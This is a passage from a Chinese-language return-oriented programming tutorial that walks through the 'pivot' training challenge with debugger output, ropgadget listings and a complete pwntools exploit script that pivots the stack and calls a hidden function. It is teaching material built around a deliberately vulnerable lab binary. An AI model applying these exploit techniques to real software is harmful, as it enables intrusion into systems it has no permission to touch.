  117. 0x80488c7 <usefulGadgets+7>: add eax,ebx
  118. 0x80488c9 <usefulGadgets+9>: ret
  119. 0x80488ca <usefulGadgets+10>: xchg ax,ax
  120. 0x80488cc <usefulGadgets+12>: xchg ax,ax
  121. [------------------------------------stack-------------------------------------]
  122. 0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
  123. 0004| 0xf755cf24 --> 0x1f7
  124. 0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
  125. 0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
  126. 0016| 0xf755cf30 --> 0xa ('\n')
  127. 0020| 0xf755cf34 --> 0x0
  128. 0024| 0xf755cf38 --> 0x0
  129. 0028| 0xf755cf3c --> 0x0
  130. [------------------------------------------------------------------------------]
  131. Legend: code, data, rodata, value
  132. 0x080488c6 in usefulGadgets ()

pivot

基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:

  1. payload_2 = "A" * 40
  2. payload_2 += p64(pop_rax)
  3. payload_2 += p64(leakaddr)
  4. payload_2 += p64(xchg_rax_rsp)

实际上,我本人正是使用这种方法,因为我在构建 payload 时,0x0000000000400ae0 <+165>: leave,leave;ret 的地址存在截断字符 0a,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 0a 换成非截断字符,之后再使用寄存器将 0a 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。

  1. $ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
  2. 0x0000000000400b09 : add rax, rbp ; ret
  3. 0x000000000040098e : call rax
  4. 0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
  5. 0x0000000000400b00 : pop rax ; ret
  6. 0x0000000000400900 : pop rbp ; ret
  7. 0x0000000000400b02 : xchg rax, rsp ; ret
  1. from pwn import *
  2. #context.log_level = 'debug'
  3. #context.terminal = ['konsole']
  4. io = process('./pivot')
  5. elf = ELF('./pivot')
  6. libp = ELF('./libpivot.so')
  7. leave_ret = 0x0000000000400adf
  8. foothold_plt = elf.plt['foothold_function'] # 0x400850
  9. foothold_got_plt = elf.got['foothold_function'] # 0x602048
  10. pop_rax = 0x0000000000400b00
  11. pop_rbp = 0x0000000000400900
  12. mov_rax_rax = 0x0000000000400b05
  13. xchg_rax_rsp = 0x0000000000400b02
  14. add_rax_rbp = 0x0000000000400b09
  15. call_rax = 0x000000000040098e
  16. foothold_sym = libp.symbols['foothold_function']
  17. ret2win_sym = libp.symbols['ret2win']
  18. offset = int(ret2win_sym - foothold_sym) # 0x14e
  19. leakaddr = int(io.recv().split()[20], 16)
  20. # calls foothold_function() to populate its GOT entry, then queries that value into EAX
  21. #gdb.attach(io)
  22. payload_1 = p64(foothold_plt)
  23. payload_1 += p64(pop_rax)
  24. payload_1 += p64(foothold_got_plt)
  25. payload_1 += p64(mov_rax_rax)
  26. payload_1 += p64(pop_rbp)
  27. payload_1 += p64(offset)
  28. payload_1 += p64(add_rax_rbp)
  29. payload_1 += p64(call_rax)
  30. io.sendline(payload_1)
  31. # rsp = leakaddr
  32. payload_2 = "A" * 40
  33. payload_2 += p64(pop_rax)
  34. payload_2 += p64(leakaddr)
  35. payload_2 += p64(xchg_rax_rsp)
  36. io.sendline(payload_2)
  37. print io.recvall()

这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。

更多资料